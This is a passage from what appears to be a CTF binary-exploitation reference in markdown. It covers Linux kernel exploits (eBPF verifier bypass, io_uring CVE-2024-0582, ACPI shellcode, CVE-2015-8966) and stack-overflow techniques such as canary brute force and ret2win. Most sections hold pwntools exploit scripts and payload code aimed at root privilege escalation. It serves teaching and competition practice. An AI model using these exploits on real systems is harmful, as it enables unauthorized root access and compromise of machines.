adjacent `struct file` to redirect function pointers\n5. **Hijack write handler:** `f_op->write` now points to attacker-controlled address → `commit_creds(prepare_kernel_cred(0))`\n\n**Key insight:** `struct file` is in kmalloc-256 and contains `f_op` (function pointer table). Corrupting `f_op` to a fake vtable gives control over any file operation (`read`, `write`, `ioctl`). The attacker triggers the hijacked operation via the corrupted file descriptor.\n\n---\n\n## eBPF Verifier Bypass Exploitation (UIUCTF 2021, D^3CTF 2022)\n\nExploit mismatches between the eBPF verifier's static analysis and runtime behavior to achieve arbitrary kernel read/write.\n\n```c\n// Pattern: Verifier tracks register states differently from hardware\n// Example: Right-shift desynchronization (D^3CTF 2022)\n// Verifier thinks: shr reg, 64 -> reg = 0\n// Hardware does: shr reg, 64 -> reg = original_value (shift >= width = undefined)\n\n// Step 1: Create desynchronized register\nBPF_ALU64_IMM(BPF_RSH, BPF_REG_7, 64), // verifier: R7=0, runtime: R7=1\n\n// Step 2: Use desync to bypass ALU sanitizer\nBPF_ALU64_IMM(BPF_MUL, BPF_REG_7, offset), // verifier: 0*offset=0, runtime: 1*offset=offset\n\n// Step 3: Add to map pointer for OOB access\nBPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // verifier allows (adding 0)\n// Runtime: map_ptr + offset -> arbitrary kernel memory access\n\n// Step 4: Read/write kernel memory, overwrite modprobe_path or cred struct\n```\n\n```bash\n# eBPF exploitation workflow:\n# 1. Find verifier vs runtime mismatch (RSH, bounds tracking, helper params)\n# 2. Create register with verifier_value != runtime_value\n# 3. Use desync register to bypass pointer arithmetic checks\n# 4. Achieve arbitrary read via map value OOB\n# 5. Leak kernel base from adjacent slab objects\n# 6. Arbitrary write to modprobe_path or current->cred\n\n# Helper function overflow variant (d3bpf-v2):\n# bpf_skb_load_bytes(skb, offset, stack_buf, len)\n# Verifier checks len \u003c= 512, but desync makes runtime len huge\n# Stack buffer overflow -> ROP to commit_creds(init_cred)\n\n# KASLR bypass via eBPF:\n# Trigger controlled oops -> dmesg leaks kernel addresses\n# Or: read adjacent slab objects containing kernel pointers\n```\n\n**Key insight:** eBPF verifier bugs create a \"type confusion\" between static analysis and runtime. The pattern is always: (1) find operation where verifier prediction differs from hardware, (2) multiply the difference to create useful offsets, (3) add to map pointer for kernel memory access. Check kernel changelogs for eBPF verifier patches -- each patch implies a prior exploitable bug.\n\nSee also: [kernel-techniques.md](kernel-techniques.md) for additional kernel exploitation techniques.\n\n---\n\n## User-Kernel-Hypervisor Chain via I/O Port Hypercalls (HITCON 2018)\n\n**Pattern:** A three-layer challenge (user.elf → kernel.bin → hypervisor) restricts direct hypercalls from userspace via a whitelist enforced in kernel.bin. The attacker (1) corrupts a RPN-calculator user-mode program to write arbitrary bytes into its GOT, (2) uses that write to break out to kernel mode, and (3) from kernel mode issues a hypercall directly by executing `out dx, eax` on I/O ports `0x8000..0x80FF`, which the hypervisor handles as a syscall dispatch. The final twist: the hypervisor only accepts strings that already live in kernel memory, so a deliberately failing `open()` syscall is used to seed a kernel buffer with the target path before re-invoking the hypercall with that buffer address.\n\n```asm\n; Kernel-mode stub running inside kernel.bin after the pivot\nmov dx, 0x8000 + 5 ; I/O port = base + syscall_number (here: open)\nmov eax, \u003ckernel_buffer> ; pointer that lives in kernel memory\nout dx, eax ; hypervisor reads from the port as an arg\n\nmov dx, 0x8000 + 0 ; syscall 0 = read\nmov eax, flag_buffer\nout dx, eax\n```\n\n```python\n# User-mode payload that pivots into kernel.bin via GOT overwrite\nfrom pwn import *\nio = remote(\"challenge.hitcon\", 1337)\n\n# 1. RPN-calc overwrites got['strtol'] with a kernel gadget that calls the\n# privileged hypercall stub.\npayload = rpn_overwrite(target=\"strtol\",\n value=kernel_gadget_address)\nio.sendline(payload)\n\n# 2. Kernel stub runs the I/O-port sequence above and writes the flag back.\nio.recvuntil(b\"flag{\")\nlog.success(b\"flag{\" + io.recvuntil(b\"}\"))\n```\n\n**Key insight:** The more privilege rings a challenge stacks, the more important it is to map *where data must live* versus *where code must run*. HITCON Abyss enforced a kernel whitelist on userspace hypercalls, but kernel code itself could still poke the hypervisor ports directly. The same pattern recurs in real VM escapes: a guest kernel primitive plus an I/O-port write reaches the VMM without going through the guest's own syscall table. When attacking `kvm_guest_enter` style hypervisors, look for memory-mapped I/O regions or port ranges that the VMM traps — they are hypercalls in disguise and often lack the argument sanitisation that formal hypercall interfaces require.\n\n**References:** HITCON CTF 2018 — Abyss I & II, writeups 11918, 11919, 11933, 11934, 11937, 11938\n\n---\n\n## ACPI DSDT Shellcode Injection for Privilege Escalation (hxp 2018)\n\n**Pattern:** \"Green Computing\" style challenges boot a kernel with attacker-controlled ACPI tables. Embed shellcode inside a DSDT `OperationRegion(SystemMemory, ...)` and write it into kernel memory with a `Field` write at boot. Patch a target like `commit_creds` so any subsequent setuid call elevates privileges.\n\n```asl\nOperationRegion (PWDN, SystemMemory, 0x1241000, 0x400)\nField (PWDN, AnyAcc, NoLock, Preserve) { JMPA, 0x400 }\nJMPA = Buffer () { 0x41, 0x55, 0x41, 0x54, 0x48, /* shellcode */ }\n\nOperationRegion (NISC, SystemMemory, 0x104ac24, 96)\nField (NISC, AnyAcc, NoLock, Preserve) { NICD, 768 }\nNICD = Buffer () { 0x48, 0xc7, 0xc0, /* patched commit_creds prologue */ }\n```\n\n**Key insight:** ACPI AML runs with direct physical memory access before normal kernel protections are active. When the challenge lets you supply DSDT/SSDT bytes, `SystemMemory` `OperationRegion` is a kernel-write primitive bigger than most explicit kernel bugs.\n\n**References:** hxp CTF 2018 — Green Computing 1-2, writeups 12550+\n\n---\n\n## ARM fcntl64 set_fs() CVE-2015-8966 Pipe Exfil (Insomnihack 2019)\n\n**Pattern:** Bug: `fcntl64` on ARM Linux set `KERNEL_DS` via `set_fs()` and never restored it. Exploit: fork a child that calls `fcntl64`, then have the child write arbitrary kernel addresses through a pipe; parent reads the pipe back. Direct reads of MMU regions panic, so pipes act as a safe shim.\n\n```c\nif (fork() == 0) {\n trigger_fcntl64_bug(); // now at KERNEL_DS\n write(pipe_w, (void*)kernel_addr, N); // unchecked kernel read\n _exit(0);\n}\nread(pipe_r, leak, N); // parent gets kernel memory\n```\n\nAfter leaking the cred struct, rewrite `uid/gid/euid/egid = 0` in place and call `getuid()` to confirm root.\n\n**Key insight:** Missing `set_fs(USER_DS)` restoration is a single-line bug that gives unbounded copy_from/to_user with kernel addresses. Wrap dangerous reads through a pipe so the kernel copy loop never touches forbidden MMU regions directly.\n\n**References:** Insomnihack teaser 2019 — 1118daysober, writeup 12903\n\n---\n\n## io_uring PBUF_RING Use-After-Free — CVE-2024-0582 (KernelCTF 2024)\n\n**Vulnerability:** `io_uring` buffer ring registration (`IORING_REGISTER_PBUF_RING` / `IORING_UNREGISTER_PBUF_RING`) mishandles the lifetime of `io_buffer_list` / `io_buffer` objects. Unregister frees the ring while in-flight `PROVIDE_BUFFERS` requests still hold a reference, leading to UAF. Patched Feb 2024 (`io_uring: fix UAF on pbuf ring`).\n\n**Critical distinction — PBUF_RING (kernel-registered) vs userspace SQE:**\n\n| Aspect | PBUF_RING (`IORING_REGISTER_PBUF_RING`) | Userspace SQE (`IORING_OP_PROVIDE_BUFFERS`) |\n|--------|------------------------------------------|---------------------------------------------|\n| Backing | Kernel-allocated `io_buffer_list` registered via `io_uring_register()`; kernel tracks refcount | Userspace-mapped SQ ring; entry is a raw `struct io_uring_sqe` copied via `copy_from_user()` |\n| Lifetime | Managed by `io_buffer_list.ref` — must survive until all `provide_buffers` complete | Ephemeral — SQE consumed synchronously in `io_submit_sqe()` |\n| Bug surface | `io_unregister_pbuf_ring()` drops `bl->ref` and `kfree(bl)` without waiting for pending `IORING_OP_PROVIDE_BUFFERS` that still dereference `bl->buf_ring` | Not vulnerable — SQE is stack-copied; no persistent pointer |\n| Exploit path | Register PBUF_RING → spray `PROVIDE_BUFFERS` that block on `io_buffer` → unregister ring (UAF free) → reallocate `bl` with controlled data → complete blocked requests → kernel writes attacker-controlled `bid`/`resv` to freed `io_buffer` → type confusion / ROP | Cannot reallocate SQE ring entry; no UAF primitive |\n\n**Exploit pattern (KernelCTF 2024):**\n\n```c\n// 1. Register a PBUF_RING of size 0x1000\nstruct io_uring_params p = {};\nint ring_fd = io_uring_setup(8, &p);\nstruct io_uring_buf_ring *br;\nposix_memalign((void**)&br, 4096, 4096);\nio_uring_register_buf_ring(ring_fd, &(struct io_uring_buf_reg){\n .ring_addr = (unsigned long)br,\n .ring_entries = 16,\n .bgid = 1,\n});\n\n// 2. Spray blocking PROVIDE_BUFFERS that pin the ring\nfor (int i = 0; i \u003c 16; i++) {\n struct io_uring_sqe *sqe = &sqes[i];\n io_uring_prep_provide_buffers(sqe, br, 0, 16, 1, 0);\n sqe->flags |= IOSQE_IO_LINK; // keep request pending\n}\nio_uring_submit(ring_fd);\n\n// 3. Unregister while requests are still in-flight → UAF free of io_buffer_list\nio_uring_unregister_buf_ring(ring_fd, 1); // kfree(bl) but sqes still reference bl->bufs\n\n// 4. Heap spray to reclaim UAF slot (e.g., msg_msg, seq_operations, cred)\nspray_kmalloc_1024(controlled_data); // reclaim io_buffer_list with fake buf_ring pointer\n\n// 5. Complete pending requests — kernel writes to reclaimed buffer as if it were buf_ring\n// → arbitrary kernel write (controlled bid offset) or info leak via IORING_OP_READ\n```\n\n**Key primitives:**\n- **Leak:** Free ring then `IORING_OP_READ` from pending `provide_buffers` leaks reclaimed heap content (contains `msg_msg` `m_list` pointers → kheap/kaslr).\n- **Write:** Reclaim with `cred` or `modprobe_path` adjacent object; completing the request overwrites `uid` or function pointer.\n\n**Detection & fix check:**\n```bash\n# Vulnerable kernels: 6.4 - 6.6.13, 6.7 prior to 6.7.2\nuname -r\n# Check patch: io_uring/io_uring.c should have io_buffer_list_put() + synchronize\ngrep -n \"io_buffer_list_put\\|pbuf.*ref\" io_uring/register.c\n```\n\n**Key insight:** The bug is *only* in the **kernel-registered PBUF_RING** path (`register`/`unregister`), not the generic userspace SQE `PROVIDE_BUFFERS` path. Many public PoCs confuse the two and attempt to free the SQ ring itself (which is just `mmap`'d userspace memory). Successful exploitation must use `IORING_REGISTER_PBUF_RING` to allocate a kernel `io_buffer_list`, then race `UNREGISTER` against pending `PROVIDE_BUFFERS` — that race is where the UAF lives.\n\n**References:** CVE-2024-0582, KernelCTF 2024, patch `f0b09d80f55e` (Feb 2024).\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":32764,"content_sha256":"a10131fc9828c1b5f6b74e6dcd19980486efae77fb9408555ec02bb8a0c2126c"},{"filename":"overflow-basics.md","content":"# CTF Pwn - Overflow Basics\n\n## Table of Contents\n- [Stack Buffer Overflow](#stack-buffer-overflow)\n - [ret2win with Parameter (Magic Value Check)](#ret2win-with-parameter-magic-value-check)\n - [Stack Alignment (16-byte Requirement)](#stack-alignment-16-byte-requirement)\n - [Offset Calculation from Disassembly](#offset-calculation-from-disassembly)\n - [Input Filtering (memmem checks)](#input-filtering-memmem-checks)\n - [Finding Gadgets](#finding-gadgets)\n - [Hidden Gadgets in CMP Immediates](#hidden-gadgets-in-cmp-immediates)\n- [Struct Pointer Overwrite (Heap Menu Challenges)](#struct-pointer-overwrite-heap-menu-challenges)\n- [Signed Integer Bypass (Negative Quantity)](#signed-integer-bypass-negative-quantity)\n- [Canary-Aware Partial Overflow](#canary-aware-partial-overflow)\n- [OOB Read via Stride/Rate Leak (DiceCTF 2026)](#oob-read-via-striderate-leak-dicectf-2026)\n- [Stack Canary Byte-by-Byte Brute Force on Forking Servers](#stack-canary-byte-by-byte-brute-force-on-forking-servers)\n- [Global Buffer Overflow (CSV Injection)](#global-buffer-overflow-csv-injection)\n- [Protocol Length Field Stack Bleeding (EKOPARTY CTF 2016)](#protocol-length-field-stack-bleeding-ekoparty-ctf-2016)\n- [Parser Stack Overflow via Unchecked memcpy Length (MetaCTF Flash 2026)](#parser-stack-overflow-via-unchecked-memcpy-length-metactf-flash-2026)\n- [Stack Canary Null-Byte Overwrite Leak (CSAW 2017)](#stack-canary-null-byte-overwrite-leak-csaw-2017)\n- [Empty-Token strncmp(n=0) MAC Bypass (UCSB iCTF 2018)](#empty-token-strncmpn0-mac-bypass-ucsb-ictf-2018)\n- [Return Address LSB Overwrite + read() Chaining (TUCTF 2018)](#return-address-lsb-overwrite--read-chaining-tuctf-2018)\n- [Canary Trailing-Byte Leak via Padding One Byte Past Null (hxp 2018)](#canary-trailing-byte-leak-via-padding-one-byte-past-null-hxp-2018)\n- [Index-Only Bounds Check + Stride OOB Write (P.W.N. CTF 2018)](#index-only-bounds-check--stride-oob-write-pwn-ctf-2018)\n- [Signed Index Negative OOB to Preceding GOT (P.W.N. CTF 2018)](#signed-index-negative-oob-to-preceding-got-pwn-ctf-2018)\n- [PIE Same-Page Function Pivot via Single-Byte Overwrite (P.W.N. CTF 2018)](#pie-same-page-function-pivot-via-single-byte-overwrite-pwn-ctf-2018)\n- [scanf Format-Error Skip for Canary Preservation (nullcon HackIM 2019)](#scanf-format-error-skip-for-canary-preservation-nullcon-hackim-2019)\n\n---\n\n## Stack Buffer Overflow\n\n1. Find offset to return address: `cyclic 200` then `cyclic -l \u003cvalue>`\n2. Check protections: `checksec --file=binary`\n3. No PIE + No canary = direct ROP\n4. Canary leak via format string or partial overwrite\n\n### ret2win with Parameter (Magic Value Check)\n\n**Pattern:** Win function checks argument against magic value before printing flag.\n\n```c\n// Common pattern in disassembly\nvoid win(long arg) {\n if (arg == 0x1337c0decafebeef) { // Magic check\n // Open and print flag\n }\n}\n```\n\n**Exploitation (x86-64):**\n```python\nfrom pwn import *\n\n# Find gadgets\npop_rdi_ret = 0x40150b # pop rdi; ret\nret = 0x40101a # ret (for stack alignment)\nwin_func = 0x4013ac\nmagic = 0x1337c0decafebeef\n\noffset = 112 + 8 # = 120 bytes to reach return address\n\npayload = b\"A\" * offset\npayload += p64(ret) # Stack alignment (Ubuntu/glibc requires 16-byte)\npayload += p64(pop_rdi_ret)\npayload += p64(magic)\npayload += p64(win_func)\n```\n\n**Finding the win function:**\n- Search for `fopen(\"flag.txt\")` or similar in Ghidra\n- Look for functions with no XREF that check a magic parameter\n- Check for conditional print/exit patterns after parameter comparison\n\n### Stack Alignment (16-byte Requirement)\n\nModern Ubuntu/glibc requires 16-byte stack alignment before `call` instructions. Symptoms of misalignment:\n- SIGSEGV in `movaps` instruction (SSE requires alignment)\n- Crash inside libc functions (printf, system, etc.)\n\n**Fix:** Add extra `ret` gadget before your ROP chain:\n```python\npayload = b\"A\" * offset\npayload += p64(ret) # Align stack to 16 bytes\npayload += p64(pop_rdi_ret)\n# ... rest of chain\n```\n\n### Offset Calculation from Disassembly\n\n```asm\npush %rbp\nmov %rsp,%rbp\nsub $0x70,%rsp ; Stack frame = 0x70 (112) bytes\n...\nlea -0x70(%rbp),%rax ; Buffer at rbp-0x70\nmov $0xf0,%edx ; read() size = 240 (overflow!)\n```\n\n**Calculate offset:**\n- Buffer starts at `rbp - buffer_offset` (e.g., rbp-0x70)\n- Saved RBP is at `rbp` (0 offset from buffer end)\n- Return address is at `rbp + 8`\n- **Total offset = buffer_offset + 8** = 112 + 8 = 120 bytes\n\n### Input Filtering (memmem checks)\n\nSome challenges filter input using `memmem()` to block certain strings:\n```python\npayload = b\"A\" * 120 + p64(gadget) + p64(value)\nassert b\"badge\" not in payload and b\"token\" not in payload\n```\n\n### Finding Gadgets\n\n```bash\n# Find pop rdi; ret\nobjdump -d binary | grep -B1 \"pop.*rdi\"\nROPgadget --binary binary | grep \"pop rdi\"\n\n# Find simple ret (for alignment)\nobjdump -d binary | grep -E \"^\\s+[0-9a-f]+:\\s+c3\\s+ret\"\n```\n\n### Hidden Gadgets in CMP Immediates\n\nCMP instructions with large immediates encode useful byte sequences. pwntools `ROP()` finds these automatically:\n\n```asm\n# Example: cmpl $0xc35e415f, -0x4(%rbp)\n# Bytes: 81 7d fc 5f 41 5e c3\n# ^^ ^^ ^^ ^^\n# At +3: 5f 41 5e c3 = pop rdi; pop r14; ret\n# At +4: 41 5e c3 = pop r14; ret\n# At +5: 5e c3 = pop rsi; ret\n```\n\n**When to look:** Small binaries with few functions often lack standard gadgets. Check `cmp`, `mov`, and `test` instructions with large immediates -- their operand bytes may decode as useful gadgets.\n\n```python\nrop = ROP(elf)\n# pwntools finds these automatically\nfor addr, gadget in rop.gadgets.items():\n print(hex(addr), gadget)\n```\n\n## Struct Pointer Overwrite (Heap Menu Challenges)\n\n**Pattern:** Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.\n\n**Struct layout example:**\n```c\nstruct Student {\n char name[36]; // offset 0x00 - data buffer\n int *grade_ptr; // offset 0x24 - pointer to separate allocation\n float gpa; // offset 0x28\n}; // total: 0x2c (44 bytes)\n```\n\n**Exploitation:**\n```python\nfrom pwn import *\n\nWIN = 0x08049316\nGOT_TARGET = 0x0804c00c # printf@GOT\n\n# 1. Create object (allocates struct + sub-allocations)\ncreate_student(\"AAAA\", 5, 3.5)\n\n# 2. Modify name - overflow into pointer field with GOT address\npayload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr\nmodify_name(0, payload)\n\n# 3. Modify grade - scanf(\"%d\", corrupted_ptr) writes to GOT\nmodify_grade(0, str(WIN)) # Writes win addr as int to GOT entry\n\n# 4. Trigger overwritten function -> jumps to win\n```\n\n**GOT target selection strategy:**\n- Identify which libc functions the `win` function calls internally\n- Do NOT overwrite GOT entries for functions used by `win` (causes infinite recursion/crash)\n- Prefer functions called in the main loop AFTER the write\n\n| Win uses | Safe GOT targets |\n|----------|-------------------|\n| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |\n| printf, system | puts, exit, free |\n| system only | puts, printf, exit |\n\n## Signed Integer Bypass (Negative Quantity)\n\n`scanf(\"%d\")` without sign check; negative input bypasses unsigned comparisons. See [advanced-exploits.md](advanced-exploits.md#signed-integer-bypass-negative-quantity) for full details.\n\n## Canary-Aware Partial Overflow\n\nOverflow `valid` flag between buffer and canary without touching the canary. Use `./` as no-op path padding for precise length control. See [advanced-exploits.md](advanced-exploits.md#canary-aware-partial-overflow) for full exploit chain.\n\n## OOB Read via Stride/Rate Leak (DiceCTF 2026)\n\n**Pattern (ByteCrusher):** A string processing function walks input buffer with configurable stride (`rate`). When rate exceeds buffer size, it skips over the null terminator and reads adjacent stack data (canary, return address).\n\n**Stack layout:**\n```text\ninput_buf [0-31] \u003c- user input (null at byte 31)\ncrushed [32-63] \u003c- output buffer\ncanary [72-79] \u003c- stack canary\nsaved rbp [80-87]\nreturn addr [88-95] \u003c- code pointer (defeats PIE)\n```\n\n**Vulnerable pattern:**\n```c\nvoid crush_string(char *input, char *output, int rate, int output_max_len) {\n for (int i = 0; input[i] != '\\0' && out_idx \u003c output_max_len - 1; i += rate) {\n output[out_idx++] = input[i]; // rate > bufsize skips past null terminator\n }\n}\n```\n\n**Exploitation:**\n```python\nfrom pwn import *\n\n# Leak canary bytes 1-7 (byte 0 always 0x00)\ncanary = b'\\x00'\nfor offset in range(73, 80): # canary at offsets 72-79\n p.sendline(b'A' * 31) # fill buffer (null at byte 31)\n p.sendline(str(offset).encode()) # rate = offset → reads input[0] then input[offset]\n p.sendline(b'2') # output length = 2\n resp = p.recvline()\n canary += resp[1:2] # second char is leaked byte\n\n# Leak return address bytes 0-5 (top 2 always 0x00 in userspace)\nret_addr = b''\nfor offset in range(88, 94):\n p.sendline(b'A' * 31)\n p.sendline(str(offset).encode())\n p.sendline(b'2')\n resp = p.recvline()\n ret_addr += resp[1:2]\n\npie_base = u64(ret_addr.ljust(8, b'\\x00')) - known_offset\nadmin_portal = pie_base + admin_offset\n\n# Overflow gets() with leaked canary + computed address\npayload = b'A' * 24 + canary + p64(0) + p64(admin_portal)\np.sendline(payload)\n```\n\n**When to use:** Any function that traverses a buffer with user-controlled step size and null-terminator-based stop condition.\n\n**Key insight:** Stride-based OOB reads leak one byte per iteration by controlling which offset lands on the target byte. With enough iterations, leak full canary + return address to defeat both stack canary and PIE.\n\n## Stack Canary Byte-by-Byte Brute Force on Forking Servers\n\n**Pattern:** Server calls `fork()` for each connection. The child process inherits the same canary value. Brute-force the canary one byte at a time — each wrong byte crashes the child, but the parent continues with the same canary.\n\n**Canary structure:** First byte is always `\\x00` (prevents string function leaks). Remaining 7 bytes are random. Total: 8 bytes on x86-64, 4 on x86-32.\n\n**Exploitation:**\n```python\nfrom pwn import *\n\nOFFSET = 64 # bytes to canary (buffer size)\nHOST, PORT = \"target\", 1337\n\ndef try_byte(known_canary, guess_byte):\n \"\"\"Send overflow with known canary bytes + one guess. No crash = correct byte.\"\"\"\n p = remote(HOST, PORT)\n payload = b'A' * OFFSET + known_canary + bytes([guess_byte])\n p.send(payload)\n try:\n resp = p.recv(timeout=1)\n p.close()\n return True # No crash → byte is correct\n except:\n p.close()\n return False # Crash → wrong byte\n\n# Byte 0 is always \\x00\ncanary = b'\\x00'\n\n# Brute-force bytes 1-7 (only 256 attempts per byte, 7*256 = 1792 total)\nfor byte_pos in range(1, 8):\n for guess in range(256):\n if try_byte(canary, guess):\n canary += bytes([guess])\n print(f\"Canary byte {byte_pos}: 0x{guess:02x}\")\n break\n else:\n print(f\"Failed at byte {byte_pos}\")\n break\n\nprint(f\"Full canary: {canary.hex()}\")\n\n# Now overflow with correct canary + ROP chain\np = remote(HOST, PORT)\npayload = b'A' * OFFSET + canary + b'B' * 8 + p64(win_addr)\np.sendline(payload)\n```\n\n**Prerequisites:**\n- Server must `fork()` per connection (canary stays constant across children)\n- Overflow must be controllable byte-by-byte (no all-at-once read)\n- Distinguishable crash vs success response (timeout, error message, or connection behavior)\n\n**Expected attempts:** 7 * 128 = 896 average (7 bytes * 128 average guesses per byte). Maximum 7 * 256 = 1792.\n\n**Key insight:** `fork()` preserves the canary across child processes. Brute-forcing 8 bytes sequentially (7 * 256 = 1792 attempts) is vastly more efficient than brute-forcing all 8 bytes simultaneously (2^56 attempts).\n\n---\n\n## Global Buffer Overflow (CSV Injection)\n\n**Pattern (Spreadsheet):** Overflow adjacent global variables via extra CSV delimiters to change filename pointer. See [advanced.md](advanced.md) for full exploit pattern.\n\n---\n\n## Protocol Length Field Stack Bleeding (EKOPARTY CTF 2016)\n\nCustom network protocols that echo data based on a length field in the request header can leak stack memory when the length exceeds the actual data sent (similar to Heartbleed).\n\n```python\nfrom pwn import *\n\n# Custom protocol: [4-byte magic][1-byte length][payload]\n# Server echoes back `length` bytes of the response buffer\n# If length > actual payload, server leaks stack/heap memory\n\nio = remote('target.ctf', 1337)\n\n# Normal request: 5 bytes of data, length = 5\n# Bleeding request: 5 bytes of data, length = 255\nmagic = b'\\x00\\x01\\x02\\x03'\nlength_field = b'\\xff' # request 255 bytes back\npayload = b'AAAAA' # only send 5 bytes\n\nio.send(magic + length_field + payload)\nleaked = io.recv(255)\n\n# Search leaked memory for flag pattern\nif b'flag{' in leaked or b'CTF{' in leaked:\n log.success(f\"Flag found in leaked data!\")\n\n# Alternatively, search for addresses (libc pointers, stack addresses)\nfor i in range(0, len(leaked) - 8, 8):\n addr = u64(leaked[i:i+8])\n if 0x7f0000000000 \u003c addr \u003c 0x7fffffffffff:\n log.info(f\"Possible libc/stack address at offset {i}: {hex(addr)}\")\n```\n\n**Key insight:** Any protocol where the server uses a client-supplied length to determine how much data to return is vulnerable to overread attacks. The server reads beyond the actual buffer into adjacent stack/heap memory, leaking sensitive data including flags, addresses, and canaries.\n\n---\n\n## Parser Stack Overflow via Unchecked memcpy Length (MetaCTF Flash 2026)\n\n**Pattern (PCAP Trap):** Custom file parser (e.g., PCAP, image, archive) allocates a fixed-size stack buffer but allows input records with lengths exceeding the buffer. A `memcpy` copies the full record into the stack buffer before length validation, overwriting saved registers and return address.\n\n```python\nfrom pwn import *\n\n# Example: PCAP parser with 0x10000 byte stack buffer\n# but PCAP packets can specify up to 0x20000 bytes (snaplen)\n# memcpy(stack_buf, packet_data, packet_len) has no bounds check\n\nelf = ELF('./pcap_parser')\ncontext.binary = elf\n\n# Step 1: Determine overflow offset\n# Buffer is 0x10000 bytes on stack\n# After buffer: saved callee-save registers (rbx, r12, ...) then return address\nBUF_SIZE = 0x10000\n# Offset to saved registers depends on function prologue\n# Check disassembly: push rbx; push r12; sub rsp, 0x10000\nOFFSET_RBX = BUF_SIZE # first saved register\nOFFSET_R12 = BUF_SIZE + 8 # second saved register\nOFFSET_RET = BUF_SIZE + 16 # return address\n\n# Step 2: Craft payload with register restoration\n# Callee-saved registers must be valid or the function epilogue crashes\n# rbx: point to readable memory (e.g., BSS) to avoid SIGSEGV on dereference\n# r12: set to value that exits cleanly (e.g., loop terminator = 1)\n\nbss_addr = elf.bss() # Readable memory for rbx\nwin_addr = elf.symbols['win'] # Target function\n\npayload = b'A' * BUF_SIZE\npayload += p64(bss_addr) # rbx -> valid readable address\npayload += p64(1) # r12 = 1 (loop exit condition)\npayload += p64(elf.symbols['ret_gadget']) # ret alignment gadget\npayload += p64(win_addr) # return to win()\n\n# Step 3: Wrap in valid file format container\n# For PCAP: valid global header + packet header with large caplen\nimport struct\n\n# PCAP global header\npcap_header = struct.pack('\u003cIHHIIII',\n 0xa1b2c3d4, # magic number\n 2, 4, # version 2.4\n 0, # thiszone\n 0, # sigfigs\n 0x20000, # snaplen (max packet size - larger than stack buffer!)\n 1 # network (LINKTYPE_ETHERNET)\n)\n\n# PCAP packet record header\npkt_ts_sec = 0\npkt_ts_usec = 0\npkt_caplen = len(payload) # captured length = our overflow payload\npkt_origlen = len(payload)\n\npkt_header = struct.pack('\u003cIIII', pkt_ts_sec, pkt_ts_usec, pkt_caplen, pkt_origlen)\n\n# Build malicious PCAP\npcap_data = pcap_header + pkt_header + payload\n\nwith open('exploit.pcap', 'wb') as f:\n f.write(pcap_data)\n\n# Step 4: Send to target\np = remote('target', 1337)\np.send(pcap_data)\np.interactive()\n```\n\n**Key insight:** Custom file parsers often allocate fixed-size stack buffers based on a \"maximum expected size\" but the file format allows specifying larger records. The `memcpy` happens before the length check, creating a classic stack overflow. When exploiting, you must restore callee-saved registers to valid values in the overflow payload -- the function epilogue pops them before returning, and invalid values cause crashes before the return address is reached. Common requirements: `rbx` must point to readable memory (use BSS), loop counter registers must satisfy exit conditions.\n\n**Callee-saved register restoration checklist:**\n1. Identify which registers the function pushes in its prologue (`push rbx`, `push r12`, etc.)\n2. Determine the order they are restored in the epilogue (reverse of push order)\n3. Set `rbx` to any readable address (BSS, GOT, or known mapped page)\n4. Set loop counters (`r12`, `r13`) to values that terminate any loops cleanly\n5. Add a `ret` gadget for 16-byte stack alignment before the win function address\n\n**When to recognize:** Challenge involves a custom parser for a binary file format (PCAP, ELF, image, protocol buffer). The parser uses `memcpy` or `read` with a length field from the input. Check if the buffer size is smaller than the maximum length the format allows.\n\n**References:** MetaCTF Flash CTF 2026 \"PCAP Trap\"\n\n---\n\n## Stack Canary Null-Byte Overwrite Leak (CSAW 2017)\n\n**Pattern:** Stack canaries always end with a null byte (the low byte is `\\x00`) to prevent string-based leaks. If an overflow allows overwriting just that null byte with a non-null character, `puts()` or `printf(\"%s\")` will continue printing past the overwritten byte and output the remaining 7 canary bytes. A return-to-main provides a second exploitation stage where the full canary is known.\n\n**Stack layout:**\n```text\n[buffer] [canary \\x00 XX XX XX XX XX XX XX] [saved rbp] [return addr]\n ^--- overwrite only this byte with 'A'\n → puts() now prints: 'A' + 7 canary bytes + (more stack data)\n```\n\n**Exploitation:**\n```python\nfrom pwn import *\n\n# Stage 1: Overwrite canary's null byte, leak remaining 7 bytes via puts\np.send(b'A' * buf_size + b'B') # 'B' overwrites the canary's null byte\nleak = p.recvline()\n# leak[buf_size] = 'B', leak[buf_size+1:buf_size+8] = 7 canary bytes\ncanary = b'\\x00' + leak[buf_size + 1: buf_size + 8]\ncanary_val = u64(canary)\nlog.info(f\"Leaked canary: {hex(canary_val)}\")\n\n# Stage 2: Return-to-main for clean second exploitation\n# First stage payload returned to main() — now build full ROP chain\np.send(b'A' * buf_size + canary + p64(0) + p64(win_addr))\n```\n\n**Why return-to-main:** After leaking the canary by overwriting its null byte, the canary is corrupted — the process will crash on return. Return-to-main (via a first-stage overflow) resets the stack frame cleanly and allows a second input with the now-known canary value.\n\n**Key insight:** The canary's null byte terminator is a weakness — overwriting only it makes string functions print the canary value. Return-to-main provides a second exploitation opportunity with the leaked canary, enabling full ROP chain construction.\n\n**References:** CSAW 2017\n\n---\n\n## Empty-Token strncmp(n=0) MAC Bypass (UCSB iCTF 2018)\n\n**Pattern:** A MAC or auth token check extracts `n` (comparison length) from a user-supplied field and then calls `strncmp(expected, supplied, n)`. When `n == 0`, `strncmp` returns 0 regardless of input — every token is accepted.\n\n**Vulnerable code:**\n```c\nint n = atoi(user_len); // attacker controls length\nif (strncmp(expected_mac, user_mac, n) == 0) {\n grant_access();\n}\n```\n\n**Exploit:** Send the token with `len=0` (or a length field that parses to zero) and an arbitrary MAC.\n\n**Key insight:** Any variable-length comparator (`strncmp`, `memcmp`, `bcmp`) returns equality for zero-length input. Validate the length separately: reject `n \u003c= 0`, or use `CRYPTO_memcmp`/`hmac_equal` and compare full fixed-size buffers. The same bug appears when the length comes from a client-supplied HMAC size or TLV header.\n\n**References:** UCSB iCTF 2018 — writeup 10009\n\n---\n\n## Return Address LSB Overwrite + read() Chaining (TUCTF 2018)\n\n**Pattern:** `read(0, buf, 0x80)` overflows into the saved return address by exactly one byte (off-by-one in the read size). Overwriting only the LSB keeps the high bytes intact, so you land a few bytes earlier in the same function. Pick a byte that points inside the function prologue before another `read()` call — it fires again with attacker-controlled args.\n\n```python\n# Offset 29 in the buffer = saved RIP 